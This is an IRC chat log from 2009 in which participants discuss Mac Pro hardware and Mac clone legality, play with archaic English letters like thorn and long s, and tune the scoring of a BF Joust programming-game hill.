23:52:05 Not going to definitively say anything, of course, since, well, I don't have the time or give-a-damn to read hundreds of pages of legalese. 23:52:21 -!- ais523 has quit (Remote closed the connection). 23:52:24 (I assume the US antitrust laws consume one or more volumes) 23:52:42 One volume per antitruſt lawyer. 23:52:51 GregorR-L: Sounds about right. 23:54:46 * pikhq observes that if companies like Psystar were smart, they wouldn't have OS X preinstalled. They would instead have an EFI computer and a Darwin driver disk. Maybe also sell OS X discs. 23:56:01 they can't legally sell OS X discs 23:56:05 Psystar is simply an illegal business. 23:56:28 i don't like their business at all 23:56:44 I assumed that you would read "Maybe" as "if they could get to be Apple authorised resellers somehow". 23:56:54 Likelyhood of that: vanishingly small. 23:56:58 Yeha. 23:56:59 *likelihood 23:57:13 They could legally sell a computer with EFI and some Darwin drivers, though. 23:57:26 Hackintoshes are stupid, just use Linux :P 23:57:36 After all, EFI is an open standard and Darwin is a free operating system. 23:58:11 Heck, they could even have a GNU/Darwin install on there and say "Supports the Darwin operating system, that is the base of Mac OS X (wink wink nudge nudge)." 23:58:35 But just straight up selling OS X on the computer preinstalled? Dumber than a sack of rocks. 23:58:54 http://static.arstechnica.com/macpro0409/3neh_internalshr.jpg ← if there's one thing a mac pro has over a regular pc it's a well-designed interior... 23:59:14 (That bottom compartment slots out.) 23:59:33 (It's actually a separate daughterboard that the RAM is on.) 23:59:39 (And the CPUs. Go figure.) 23:59:49 Huh, those CPUs look fanless. 23:59:58 Must be cooled by case fans. Or the fans are in the heatsink. 2009-05-31: 00:00:14 Mmm, yeah. Apple does very good hardware design. 00:00:26 ehird: There's large fans to the side of the heatsinks. 00:00:32 Ah. 00:00:36 pikhq: Mmnope. 00:00:39 oh, right 00:00:40 in the case 00:00:41 indeed 00:00:45 Bit of a restrictive grill there 00:00:48 I'd mount them directly on the heatsink 00:01:08 They probably did that for noise reasons. 00:01:22 pikhq: Then they're dumb. That obstruction will make the fans whine 00:01:25 By having them to the side of the heatsink like that, they can have a large, low RPM fan. 00:01:28 (and indeed, I've heard reports about whining under load) 00:01:36 pikhq: Those heatsinks are big enough to fit a 120mm fan 00:01:47 Just like the higher-end PC CPU heatsinks 00:02:12 But seriously, it's two Nehalem Xeons. Those things are gonna need high RPM fans at load regardless of anything else. 00:02:54 Oh, right. They use *Intel* processors. 00:03:02 You can cook eggs on them if you're not careful. 00:03:04 Since 2005, bud. :P 00:03:23 But yeah, I'd scrap the grill and mount the fans directly on the heatsink. 00:03:37 I wonder how they got the CPU/RAM on another board? I don't think that's in any consumer-purchasable motherboard setup. 00:03:40 Intel's had CPUs you can fry eggs on since about 2001. :p 00:03:55 ehird, that's not hard to do, actually. 00:04:04 Is it not? 00:04:04 First, they design the motherboard. 00:04:16 pikhq: Apple use Tyan server-grade motherboards. 00:04:24 iirc 00:04:26 in partnership 00:04:28 but they don't make their own 00:04:43 -!- inurinternet has quit (Connection timed out). 00:04:44 It's a matter of having the FSB go over the edge connector is all. 00:05:00 (Mac Pros also use server RAM w/ ECC. You need a server board for two Nehalem processors (which also requires you use Xeon, not i7, iirc), but they seem to be doing it willingly too.) 00:05:05 pikhq: no performance hit? 00:05:18 Oh, oh, really stupid thing about new Mac Pros; 00:05:24 Here's the selection of graphics cards: 00:05:26 Why *would* there be a performance hit? 00:05:39 [[NVIDIA GeForce GT 120 512MB 00:05:39 2x NVIDIA GeForce GT 120 512MB [Add $150.00] 00:05:40 3x NVIDIA GeForce GT 120 512MB [Add $300.00] 00:05:42 4x NVIDIA GeForce GT 120 512MB [Add $450.00] 00:05:44 ATI Radeon HD 4870 512MB [Add $200.00]]] 00:05:59 You can choose up to 4 low-end consumer cards, or one low-high-end gamer's card! 00:06:08 In a professional's ultra-high-end boutique machine! 00:06:13 Woop woop. 00:06:21 It's not like having the electrons go through a connector instead right on the board makes them magically go slower. 00:06:29 pikhq: True, but, longer distance :P 00:06:52 And electrons travel a bit short of the speed of light. 00:06:56 <_< 00:07:03 pikhq: http://static.arstechnica.com/macpro0409/14benchwellht.png Okay, WTF. Yeah, okay, so hyperthreading thrashes the cache. SO WHY IS IT SO GODDAMN FAST! 00:07:39 -!- Judofyr has quit (Remote closed the connection). 00:07:46 http://static.arstechnica.com/macpro0409/16power.png ← Huh, I wonder what Apple did to keep the power consumption so low? 00:07:50 378 watts at load is great. 00:07:59 (For a dual-high-end processor machine w/ 12GB of RAM) 00:08:01 ehird: Because rendering doesn't use the cache that much? 00:08:10 pikhq: Er, whyever not? 00:08:24 SourceForge Acquires Ohloh 00:08:24 May 28, 2009 00:08:25 Today SourceForge has acquired Ohloh. We at Ohloh are pretty awed and excited at the opportunity (and challenges) ahead. I plan on blogging more deeply over the next few weeks but I wanted to give you some background on why this makes se... CONTINUE... 00:08:29 RIP Ohloh 00:08:59 ehird: Because you don't exactly access the same memory all that close to the same time in a render? 00:09:02 pikhq: Hahahaha. The low-end gfx cards the Mac Pros ship with, 00:09:15 is just a rebranded GeForce 9500 GT. Which is the ultra-crappy $40 card I got for bsmntbombgirl's rig. 00:09:24 But you can have FOUR of them!111111 00:09:31 That is crappy. 00:09:45 Not that Apple charges $150 for each additional card in there. 00:09:56 pikhq: Alternatively, you can have a gaming card. Never mind, say, a Nvidia Quadro or Tesla. 00:09:59 No, this is totally a gaming machine. 00:10:09 Erm. 00:10:09 s/Not/Note/ 00:10:13 Not even a 4890 or an X2. It's just one 4870. 00:10:16 pikhq: Yeah. 00:10:21 Well, anyone knows that Apple is $$$. 00:10:36 They just shove the costs for assembly and general design sense and OS onto the other components. 00:11:02 If I'm spending $450 on GPUs, I'm thinking a Tesla would be nice. :p 00:11:08 16GB (8x2GB) [Add $500.00] 00:11:08 32GB (8x4GB) [Add $6,100.00] 00:11:16 Bit of a price jump there; wonder where they got 4GB sticks of DDR3? 00:11:21 I didn't know they even existed. 00:11:36 (knowing my usage of GPUs, if I'm spending that much, then it's for GPGPU usage) 00:11:48 ehird: Note the price. That's why you don't see them much. ;) 00:12:21 *gawp*. The Apple Cinema Displays — you know, really nice things — 00:12:23 They now use OLEDs. 00:12:34 So tempting... 00:12:57 Wait, no. 00:12:58 No they don't. 00:13:03 They're just calilng LCD "LED". 00:13:09 Stuuuuuuuuuuuuuuuuuuuuuuuuuuupid 00:13:49 I didn't know that liquid crystals had anything to do with light-emitting diodes. 00:14:07 Dammit, people: these terms mean something other than "LAWLZ IT SHOWS STUFF". 00:15:34 [[New LA-based Mac cloner hopes to magically alter status quo 00:15:34 Yet another company has decided to toss its hat into the Mac cloning ring. This latest venture hopes to avoid Psystar's fate by opening a retail store to supplement online sales. Can we get a WTF?]] 00:15:41 pikhq: How apropos to what you were saying. 00:16:04 [["It's exciting. We are trying to stay as close to Apple as we can with our products," Rashantha De Silva, Quo founder, told CNET. "We are trying to mimic things as much as we can. I'm hoping that Apple sees the value in what we are doing."]] 00:16:10 For values of "value" equal to "ripping you off". 00:17:00 lol. 00:17:18 it's not ripping them off if they're overchanging anyway 00:17:27 Facepalm. 00:17:32 myndzi: ...what? 00:17:36 how does that follow at all 00:17:42 if apple products are overpriced simply because there's no competition 00:17:47 that's untrue 00:17:47 than having competition doesn't = "ripping them off" 00:17:53 they're overpriced because they're overpriced 00:17:54 it's a conditional statement 00:17:57 myndzi: what they're doing is illegal 00:18:06 what are they doing that is illegal? 00:18:08 Make a very nice EFI-based machine and do the whole wink-wink nudge-nudge thing. 00:18:10 i honestly haven't followed this 00:18:17 myndzi: OS X. 00:18:18 myndzi: selling computers with os x on them 00:18:22 a violation of the OS X EULA 00:19:11 oh, right 00:19:21 have eulas even been tested to hold up? 00:19:31 apple sued the pants off a company doing the same 00:19:41 but eulas themselves aren't generally held to work uncontroversially 00:19:48 this is fairly unquestionably illegal, though 00:19:56 i'm a little confused 00:20:00 anyway, apple products aren't overpriced because of a lack of competition; they're overpriced because they're boutique 00:20:02 if you can't buy a computer with OS X on it 00:20:06 what are people who buy apple products doing? 00:20:06 :P 00:20:27 myndzi: apple are an apple-partnered retailer, and they sell Apple-labeled computers 00:20:39 you can install OS X on apple-labeled computers, and you can sell computers with OS X on them 00:20:50 they're selling computers that they installed OS X on that aren't apple-labeled 00:20:53 therefore they are breaking the law 00:21:00 ah 00:21:10 seems silly anyway but *shrug* 00:21:24 myndzi: Apple are a hardware company that only survive because of their software. 00:21:27 It's an odd situation. 00:21:43 They wouldn't make enough money if they just sold OS X for PCs, but nobody really buys an Apple because of its hardware. 00:21:46 -!- Patashu has joined. 00:28:20 Hmm. 00:29:29 "(for example, getting up close to the Mona Lisa reveals the crackled texture of the dried oil paints, not a bunch of little Mona Lisas)" 00:29:53 It's Mona Lisas all the way down. 00:29:58 X-D 00:31:54 http://i42.tinypic.com/302yjdg.png 00:31:55 Wow. 00:31:59 That rightmost compression is amazing. 00:32:02 the question is whether that part of the EULA is enforceable 00:32:03 Too bad it's a blackbox windows binary. 00:32:27 coppro: well, apple don't sell "Mac OS X", they sell "Mac OS X for use on Apple Macintosh computers" 00:32:38 well, yeah. 00:32:48 but that may be illegal 00:32:50 GregorR-L: what's Odikeh's rationale? 00:33:13 EULAs are high on the list of contracts that may be viewed as unenforceable for the position they put the consumer it 00:33:15 *in 00:33:30 ehird: Odikeh was a conlang, þe Odikeh alphabet was juſt þe alphabet for it. 00:34:13 Ahh. 00:34:16 I put English in it, see. 00:34:50 Yeah, at'd be wonko :P 00:35:11 What would be fun is a Standard English Abbreviated Alphabet. 00:35:13 ehird: Picture? 00:35:23 e.g., "the x" could be x with a slash or something. 00:35:26 pikhq: Shur. 00:36:56 Uploading. 00:37:11 pikhq: http://imgur.com/0dPo3.png 00:37:56 Yeah, Odikeh haþ more letters þan Engliſh, but haþ no upper- vs lower-caſe, ſo a few of þe upper-caſe letters are unuſed. 00:38:12 I just typed it in the original cas. 00:38:14 *case 00:38:19 i.e., T is the only uppercase. 00:38:27 A few of þe lower-caſe letters are unuſed too, mebbe :P 00:38:29 I don't remember. 00:38:39 It's been at leaſt a year and a half ſince I've looked at it. 00:38:39 GregorR-L: My custom script is an English shorthand. ;) 00:38:48 pikhq: Do tell! 00:38:54 Þy cuſtom FACE is Engliſh ſhorþand 00:39:03 Whoops, definitely ſhouldn't be a þorn þere. 00:39:07 If I had a scanner, I'd give some examples. 00:39:16 pikhq: Just use the GIMP or something 00:39:27 GregorR-L: Shortḧand? 00:39:31 Yuh 00:39:34 Shouldn't be ſhorþand 00:39:41 what's with these thorns and such? 00:39:42 pikhq: h is not a vowel 00:39:47 coppro: GregorR-L wrote a scirpt to do it 00:39:53 ah 00:39:56 I know. 00:39:59 it's irritating 00:40:09 Yup. 00:40:14 Wonderfully irritating! 00:40:27 Somewhere here, I have a script to start up a nice Xnest for Gimpiness. 00:40:33 Now, where is it? 00:40:45 pikhq: HAY TILING WMS ARE AWSUM 00:40:47 .... why do þou need an XNeſt for þe GIMP? 00:41:01 GregorR-L: it uses 3 windows 00:41:04 and he uses a tiling wm 00:41:13 so it fucks up because his WM sucks and forces everything into an unnatural layout. 00:41:23 So he needs an xnest to make it seem like one window. 00:41:39 lol 00:41:53 And Xnest is broken. 00:41:59 Is þere any caſe of þe word "do" where "doſt" is incorrect? 00:41:59 Off to workspace two, then. 00:42:00 xnest, as an side, is sucky; there should be a way to use it without starting a whole new server. 00:42:04 It doesn't need that. 00:42:24 No, þere is. To doſt þat would be bad. (<-- example) 00:42:55 Right, I'm bringing back a letter of my own. 00:43:13 Oh? E? 00:43:18 And-per-ſe-and? 00:43:38 Perhaps eth. 00:43:43 But eth doesn't feel very th to me. 00:44:11 Neier do y face. 00:44:15 GregorR-L: Perhaps yoȝ. 00:44:27 Ȝes, this could be nice. Albeit rare. 00:44:46 I only brought back letters þat had digraph replacements *ſhrugs* 00:44:52 No, at's not true. 00:45:01 OK, þe long-s þing is juſt ſillineſs :P 00:45:12 GregorR-L: It's y and gh and stuff. 00:45:15 BRING BACK RUNES! 00:45:32 The disadvantage to this is that Y AND GH ARE REALLY UNCOMMON. 00:45:40 But þe Ȝ->y was more of a letter evolution þan a linguiſtic change, waſn't it? Þat is, þe letter is þe ſame, it juſt looks different. 00:45:56 GregorR-L: "dost" 00:46:08 ...hey, you said that. 00:46:10 GregorR-L: No; the letter is "yogh", which was spelt yoȝ. 00:46:15 So it's not *exactly* modern y. 00:46:18 Weirditude. 00:46:34 kerlo: Yeah, but not every inſtance of "do" can be changed for "doſt" :( 00:46:48 I dostn't know. 00:46:53 Maybe I'll bring 00:46:54 ʥ 00:46:59 dz with a flick, bitch. 00:47:15 Hey, you got the s at the end of a word right. 00:47:27 Or ɷ, "butt". 00:48:28 Though perhaps "ſillineſs" should be written with... that fancy German lowercase SS thing. 00:48:50 Yes. 00:49:37 Esh (majuscule: Ʃ, minuscule: ʃ; Unicode U+01A9, U+0283) is a character used in conjunction with the Latin alphabet, introduced by Isaac Pitman in his 1847 Phonotypic Alphabet to represent the voiceless postalveolar fricative (English sh), and is today used in the International Phonetic Alphabet as well as in the alphabets of some African languages. 00:49:39 Its lowercase form ʃ is similar to an italic long s ſ or an integral sign ∫; its uppercase form Ʃ is based on the Greek letter sigma. 00:49:42 PERFECT 00:49:51 at's not a dead letter, at's a was-never-alive letter :P 00:49:59 GregorR-L: btw, you can use ∫ as an s thing that looks italic. 00:50:21 GregorR-L: Ʃut up, anyway; I'll use this ʃit if I like. 00:50:24 So, I think I may drop s2.normish.org. There's a good chance that ehird would encourage me to do so. 00:50:28 Ew, that's ugly. 00:50:35 kerlo: Yer a mind reader :P 00:50:47 Is þere ſome backſtory here? 00:50:56 Whut? 00:51:04 Is there some backstory where? 00:51:12 eh, maybe I'll just use the schwa. dəmon. 00:51:13 nah 00:51:23 Ou (Majuscule: Ȣ, Minuscule: ȣ) is a ligature of the Greek letters ο and υ which was frequently used in Byzantine manuscripts. This ligature is still seen today on icon artwork inside Greek Orthodox churches. 00:51:24 kerlo: s2.normiſh.org 00:51:27 hȣse 00:51:30 kerlo: And ehird being all wompo about it 00:51:44 GregorR-L: ask him; I don't think there's much to explain. 00:51:54 ehird: ? 00:52:15 GregorR-L: I just thought that the idea of starting a nomic from scratch was the silly. Also he used mysql and PHP and stuff and *vomit* 00:52:31 OH, I þought it was ſomeþing about þe domain name itſelf. 00:52:37 nop 00:52:37 e 00:52:49 Turned v (majuscule: Ʌ, minuscule: ʌ) is a letter of the Latin alphabet, based on a turned form of V. 00:52:51 "fomeping", I like at. 00:52:56 I declare it to mean fjkghdfiugherdfl. 00:53:23 ehird: A common conflagration. 00:53:30 "is a letter of the Latin alphabet"? Which Latin alphabet is that? 00:53:52 kerlo: e Somalian Latin alphabet. 00:55:46 Hmm, I like the Unicode character LATIN LETTER TWO WITH STROKE. 00:56:05 Okay, I created a rough example via the GIMP. 00:56:09 Because 2 is totally a letter now. 00:56:15 pikhq: yaaaaaay 01:01:49 Anyway, I think I'll write my vowels enPR-style. 01:02:20 pikhq: well? 01:02:21 ll jſt nt wrt m vwls 01:03:25 Just as soon as I manage to install the Alt-Latin keyboard layout. 01:06:14 Eh, I'll emulate. 01:07:04 Th@ kwik brown fox jumps _ov@r th@ l_az_e däg. 01:07:21 Actually, circumflexes work pretty nicely. 01:07:29 pikhq: pingy. 01:07:43 Th@ kwik brown fox jumps ôv@r the@ lâzê däg. 01:08:55 Is this môr ôr less @nnôying th@n Greg@rR's schêm? 01:09:13 More, mine haþ leſs modification. 01:10:06 Yôô didn't êv@n ûz th@ sâm w@rd f@r "has". 01:10:21 And þou doſt? :P 01:10:31 At leaſt mine is all valid Engliſh (of ſome era) 01:10:40 pikhq: PINGGGGGGGGG 01:10:55 Wh@t's invalid @bowt mîn? 01:12:18 If yôô wont, sâ Î'm just wrîting pr@nuncêâsh@nz insted @v spellingz. 01:12:36 kerlo: Yours is so annoying that I refuse to read it. 01:12:37 Did ou really pronounce 'l' twice ere? ;) 01:13:00 And yes, Î am ûzing cons@n@nts s@mw@t inc@nsist@ntlê. 01:13:24 I actually find at quite readable. 01:14:06 Well, how wood Î distingwish b@twên "unâmd" and "unnâmd" if Î didn't pr@z@rv cons@n@nt lengths? 01:15:57 * GregorR-L is trying to decide what "unamed" means. 01:16:37 It mêns "not âmd". 01:17:01 Oh, un AIMED. 01:17:41 e ing is, ou actually pronounce e n twice in un-named. 01:18:01 But þou don't pronounce þe l twice in ſpelling (ſpe*ling) 01:18:18 Are you sure? :-P 01:18:28 (Shoodn't that bê "pronouncest" or something?) 01:18:28 May be an accent ing 01:18:33 I don't þink ſo :P 01:18:37 I guess I don't do it. 01:18:43 @r. 01:18:54 Î gess Î dôn't dôô it. 01:18:58 Now þat's juſt "r" 01:19:05 Let's not get all ſchwer-pedantic. 01:19:05 Iz not. 01:19:18 * kerlo shrugz. 01:19:24 * GregorR-L whois' to determine :P 01:19:35 Þat dœſn't tell me þy location :( 01:20:18 C@nect tôô Nôrmish and run @ whôôiz. :-P 01:20:28 Too lazy. 01:20:29 s/iz// 01:20:47 quasnaart pts/1 May 17 00:37 (97-84-4-245:S.0) 01:20:48 tetsu pts/7 May 28 16:29 (m7a5e36d0:S.0) 01:20:48 tetsu pts/0 May 29 23:37 (m7a5e36d0:S.1) 01:20:48 tetsu pts/5 May 29 23:39 (m7a5e36d0:S.2) 01:20:48 ihope pts/8 May 30 12:40 (c-98-209-136-197.hsd1.mi.comcast.net) 01:20:50 tetsu pts/9 May 30 02:00 (m7a5e36d0:S.3) 01:20:57 * coppro is irritated by Enigma's last tutorial level 01:21:22 Enigma? 01:21:38 Î w@nd@r whî Î dôn't hav @ :S.0 aft@r mî hôstnâm. 01:26:05 ehird: http://imgur.com/B8SqH.png 01:26:11 Had to go cook. 01:26:30 Now, to start working on a different project to replace Normish! >:-) 01:26:44 Which I say solely to scare ehird. 01:27:10 Very, *very* rough example. 01:27:16 Bezier curves ahoy. 01:27:18 (Hey, "solely" is another double-consonant word.) 01:36:31 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)). 01:37:31 -!- psygnisfive has joined. 01:56:11 -!- psygnisfive has quit (Read error: 54 (Connection reset by peer)). 01:56:19 -!- psygnisfive has joined. 01:56:51 that's a funky setup 01:56:56 http://static.arstechnica.com/macpro0409/3neh_internalshr.jpg 01:57:00 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 02:00:08 -!- FireFly has quit ("Later"). 02:01:06 -!- pikhq has joined. 02:34:44 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)). 02:34:53 -!- psygnisfive has joined. 03:15:04 the most expensive i could make a mac pro was $15k :( 03:39:42 -!- Corun has quit ("Leaving..."). 03:41:24 ¿El agua hierve? ¿Qué hierve? 03:42:45 bsmntbombgirl: LAME. 03:43:01 I can get a system up beyond that before starting on hard drives. 03:44:02 (granted, with hard drives, the theoretical max is oo. There's RAID chassis that hook up via eSATA. Infinite storage FTW) 03:45:46 raid via sata is pretty stupid though 03:45:51 you will run out of bandwidth pretty fast 03:57:21 -!- inurinternet has joined. 04:03:57 -!- bsmntbombgirl has changed nick to bsmntbombdood. 04:05:31 -!- zzo38 has joined. 04:05:47 Hay! You told me I didn't need a e-mail address to register 04:05:59 But now it says I do 04:06:18 It also says I need to register and IDENTIFY to post message on ##C channel. 04:06:34 But IDENTIFY is not a valid command and I can 04:06:47 't register without password/email but I don't want either of those things 04:07:01 /join #freenode 04:07:24 -!- inurinternet has quit (Read error: 60 (Operation timed out)). 04:07:34 -!- zzo38 has left (?). 04:45:34 -!- KingOfKarlsruhe has joined. 05:45:18 -!- GreaseMonkey has joined. 06:23:24 haha 06:23:25 !bfjoust 2_3weave (>(+)*20>(-)*20)*4(>[(-)*20[+]](-)*4>[(+)*20[-]](+)*4>(+)*4)*10 06:23:36 Score for Patashu_2_3weave: 80.1 06:23:40 probably luck based :( 06:24:22 So's y FACE. 06:24:53 Alſo, you're not allowed to frown after getting þe top ſcore. 06:25:28 ya but I might be abusing... ~~:'(~~ HASH BASED RANDOMNESS ~~:'(~~ 06:26:32 ou people love to complain :P 06:26:47 SED FAIL. 06:26:55 BTW, "you" would be correct in this case. 06:27:14 I þought "þou" was juſt þe polite form of "þou" 06:27:17 Errr 06:27:20 I thought "thou" was just the polite form of "you" 06:27:29 And so both are correct in any case. 06:27:39 anyway it ought to cause maximum discomfort to programs that expect a certain behaviour 06:27:41 "Thou" is the polite second person singular. 06:27:47 because it does not attack every third cell and has mod 3 behaviour 06:27:55 "You" is the impolite second person singular and the second person plural. 06:28:23 pikhq: Oh, plurality iſsues :( 06:28:28 pikhq: Stupid Engliſh. 06:28:35 Y'all people love to complain. 06:28:42 Voſotros love to complain. 06:28:44 Valid. 06:29:43 thou was the impolite one, I think 06:30:10 dictionary.com ſays oþerwiſe :P 06:30:24 No it dœſn't eiþer. 06:30:53 Note: "In Old Engliſh, generally, þou is þe language of a lord to a ſervant, of an equal to an equal, and expreſses alſo companionſhip, love, permiſsion, defiance, ſcorn, þreatening: whilſt ye is þe language of a ſervant to a lord, and of compliment, and furþer expreſses honor, ſubmiſsion, or entreaty." --Skeat. 06:31:17 It's hard to ſpeak a language I don't actually ſpeak :P 06:31:22 Asztal: Ah. Right. 06:31:31 Þinko. 06:32:44 INKO COMMIE 06:32:55 at's nice, I like at. 06:32:57 inking is bad. 06:33:04 COMMIES ARE PINK AND ÞEY ÞINK! 06:33:33 I only speak ASCII 06:33:35 tyvm 06:33:40 * Patashu presses 1 for english 06:33:46 Þis is all Engliſh. 06:33:53 It's juſt not ... modern Engliſh :P 06:34:02 Þis is more Engliſh þan you would ever know. 06:34:16 GregorR-L: It's considered modern Engliſh. Early Modern, to be ſpecific. 06:34:23 s/considered/conſidered. 06:34:37 pikhq: In þe ſame way þat cro-magnon is human. Juſt not Anatomically Modern Homo Sapiens Sapiens (AMHSS) 06:34:51 pikhq: But y'know what people ſay as ſhort for AMHSS? Modern human. 06:35:22 I ſentence you to 100 years of Chaucer. 06:35:45 I ſentence þou to 100 years as a Homo Heidelbergenſis. 06:36:05 I þou þee. 06:36:12 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)). 06:36:14 -!- psygnisf_ has joined. 06:41:03 "Þyself þou þouëst." 06:41:08 :) 06:44:26 I þee þy þou, and raiſe þee þe þouſands!! 06:52:57 have you read your ſicp today? 06:53:55 -!- oerjan has joined. 06:57:02 -!- amca has joined. 07:02:24 -!- myndzi has quit (Remote closed the connection). 07:09:28 -!- kar8nga has joined. 07:11:52 -!- myndzi has joined. 07:24:34 -!- oerjan has quit ("leaving"). 07:27:43 Pataſhu: Pataſhu_2_3weave doþ in fact do far worſe wiþ different randomization :P 07:27:49 Patashu: Patashu_2_3weave does in fact do far worse with different randomization :P 07:28:18 just tested? 07:32:12 Yes. 07:35:51 seems to be pretty common 07:36:01 the random thing is gonna have to change if we are to have any chance of optimizing things based on the code itself 07:36:02 :\ 07:36:07 I'm now uſing all lengþs. 07:36:11 oh really? 07:36:13 interesting! 07:36:21 It's ſlow :P 07:36:34 But if þou give me ten minutes to get þe initial cache, I þink it ſhould be faſt enough for normal runs. 07:36:59 i like that two of my programs are near the top after that change :> 07:37:05 it hasn't changed yet 07:37:07 maybe now i can optimize them 'for realz' 07:37:09 else 2/3weave would go dooown 07:37:09 oic 07:37:22 What difference ſhould conſtitute a win? 07:37:27 well somebody tell me when to check 07:37:29 OK, even I'm getting tired of at :P 07:37:33 GregorR-L: ideally it should be scored on everything 07:37:48 if it were me, i'd give each program X points for a win and Y for a tie 07:37:58 so if they win all matches against another program, that's 21*X 07:38:00 or whatever 07:38:00 are you checking reverse polarity as well? 07:38:07 Pataſhu: No (not yet?) 07:38:18 -!- jix_ has quit (Read error: 60 (Operation timed out)). 07:38:27 maybe divide it by something to keep them from getting out of hand, i dunno how the results would be with just that simple scoring 07:38:46 Well, it would be from -20 to 20 for each run. 07:38:50 but if you have the info from 21 battles, it seems kind of arbitrary to "reduce" that information to just win or loss 07:38:53 aren't there 21 lengths? 07:38:58 ^ 07:38:58 Errr, 21, yes. 07:39:03 you'd reduce it to a fractional win/loss I presume 07:39:14 That occurs to me as blehish. 07:39:17 20 wins and 1 loss would add 19/21 07:39:18 (You heard me, blehish) 07:39:21 lol 07:39:35 i don't really know why? the most wins is the most desirable 07:39:37 * myndzi shrugs 07:39:46 instead of + - and 0 though 07:39:56 you'd need some set of 1 or 2 symbols indicating what amount was won/lost 07:39:57 oh, yeah. i don't know what you will do there 07:40:02 More accurately, that's a major change to the system ^^ 07:40:08 http://sal.math.ualberta.ca/hill.php?key=94b 07:40:13 ^ an example of a pretty decent way to do it 07:40:21 what, running against all lengths ISN'T a major change? :) 07:40:51 ah, that doesn't display it as a grid 07:40:57 -!- jix has joined. 07:40:58 myndzi: No, actually. 07:41:04 oh, you mean codewise 07:41:09 i thought you meant results wise 07:41:22 Patashu: click the name of one warrior 07:41:22 myndzi: There are two components, the interpreter and the reporter. The only interaction between them is execl. 07:41:26 yeah I did 07:41:39 I kind of don't want to change that, since I'd like the interpreter to be usable independently ... 07:42:00 GregorR-L: have the interpreter return a score 07:42:13 wins-for-1st-program wins-for-2nd-program ties 07:42:15 or something 07:42:26 myndzi: return ohyeahthat'srightthisisaninteger; 07:42:41 :P 07:42:49 "output" 07:43:03 I don't want to parse *blehlazy* 07:43:03 technically you COULD do it like... 07:43:08 lol 07:43:14 ties + losses * 32 + wins * 32^2 07:43:15 :) 07:43:17 that'd be an integer! 07:43:35 or for the lazy ties & losses << 5 & wins << 10 07:43:39 or something like that 07:43:46 * myndzi shrugs 07:43:53 or have the reporter run the interpreter 21 times 07:43:59 instead of running the multiple runs in the interpreter 07:44:09 then you can get individual results using your precious return ;) 07:44:59 Somebody give me a quick lesson on associative arrays in Python :P 07:45:13 dictionaries? 07:45:18 Yeah :P 07:45:22 oh what 07:45:23 Otyg - Holy Diver (03:51) 07:45:26 I'm not really that much of a Pythoner, but I've decided to be. 07:45:27 haha this sounds amusing 07:45:32 i like the dio version much better 07:45:50 http://docs.python.org/library/stdtypes.html#mapping-types-dict not good enough for you? 07:46:08 how do i get hg to update a cloned directory? 07:46:13 hg update doesn't seem to do it 07:46:40 hg pull 07:46:41 hg up 07:46:59 ah 07:47:14 hg up updates from your /working directory/ from the /local repository/, hg pull updates your /local repository/ from the /remote repository/. 07:47:26 i see 07:47:33 thanks :) 07:47:47 i just realized when i rebooted i lost my query scrollback to EgoBot 07:47:52 and thus all the code i was playing with 07:48:20 Have fun poking around hg :P 07:48:30 i did earlier 07:48:45 i don't know if you heard it, but i guess the package in ubuntu was old, that's why i had problems 07:48:51 i installed the windows one and it worked great 07:49:03 took me quite some time to figure out how to display the most recent version of a deleted file though 07:51:52 That's what I meant. 07:51:58 That sort of stuff, not getting it installed. 07:52:19 yeah, i just was saying it 'cause i think you went off before i got it working 07:58:20 OK, I just set it up to use polarity too. 07:58:27 Wow that's getting slow :P 07:58:39 (Then again, I am doing 400 runs) 07:58:44 so far it hasn't updated for me, is it still (re?) running? 07:59:02 840 07:59:10 21*2*20 07:59:35 400 runs as in 20 programs vs 20 programs. 07:59:45 whoops 07:59:46 (Which is a huge overestimate, actually, but eh :P ) 07:59:46 i forgot a 20 07:59:50 or something 07:59:59 20*19*2*21 07:59:59 -!- clog has quit (ended). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:00:00 -!- clog has joined. 08:00:00 Hey look, slowrush is back on top :P 08:00:02 15960 08:00:05 awesome! 08:00:10 And 2_3weave right below. 08:00:18 i still get the old report though 08:00:31 old report for me 08:00:56 btw 08:01:00 you'd only need 210 matcups 08:01:02 not 20*20 08:01:07 oh of course 08:01:09 20! 08:01:11 T(20) 08:01:13 not 20! lol 08:01:16 wait 08:01:18 i fail at math 08:01:19 ignore me 08:01:27 20! 08:01:32 would be the number of ways to order 20 elements 08:01:37 and is also a VERY big number 08:01:37 yeah 08:01:41 yeah *2 08:01:41 what you want is 1+2+3+...20 08:01:45 right 08:01:47 which is like 08:01:56 i forget, but there's a simple formula for it 08:01:56 20^2+20 ) /2 08:01:59 :) 08:02:13 !bfjoust pooper_scooper (>(-)*32>(+)*32)*5[>[-].+] 08:02:21 That will take a long while, because it's running a full uncached run. 08:02:23 oh now the report blanks 08:02:28 he hadn't fixed it yet 08:02:30 so let's watch 08:02:32 right 08:02:38 i figure this'll show us the real report 08:02:52 20^2 + 20 doesn't sound right 08:02:57 all ove r2 08:02:57 the squared part, i mean 08:03:00 it's right 08:03:07 that's how fast it grows 08:03:11 right, but i remember vaguely this formula and that doesn't sound correct 08:03:14 for the sum of 1...20 08:03:17 try and plug in the numbers 08:03:22 1^2+1 / 2 is 2/2 is 1 08:03:27 2^2 + 2 / 2 is 6/2 is 3 08:03:35 3^2 + 3 / 2 is 12/2 is 6 08:03:37 so on 08:03:43 yeah 08:03:45 it is correct 08:03:50 but i could have sworn there was a -1 and some shit 08:03:50 hmm so if entering the hill is going to be expensive from now on 08:03:57 maybe there's another formula for the same thing 08:04:07 Patashu: It's not that bad, it's just that this is an uncached run. 08:04:09 Patashu: not this bad, once it caches all the matchups 08:04:11 It's still on the order of a few seconds. 08:04:17 could you add another command that doesn't enter a program on the hill but instead makes it do a match against a program on the hill with your program and return the result 08:04:19 ah, ok 08:04:23 oh yeah 08:04:25 because this has to do 08:04:29 EVERY matchup just for the first time 08:04:32 Yeah 08:04:40 then after that you only need 20 08:04:55 -!- whtspc has joined. 08:04:57 Yeah. 08:05:08 oh 08:05:10 n(n+1)/2 08:05:13 ya 08:05:14 that's the formula i knew 08:05:16 they're equivalent 08:05:18 which is of course n^2+n 08:05:21 296/400 done 08:05:22 but that's why it looked weird to me 08:05:32 400? 08:05:39 why does it need to do a match of x against y then y against x :) 08:05:43 Score for GregorR-L_pooper_scooper: 28.0 08:05:57 Patashu: It doesn't, but the framework is from and old system where it does, and 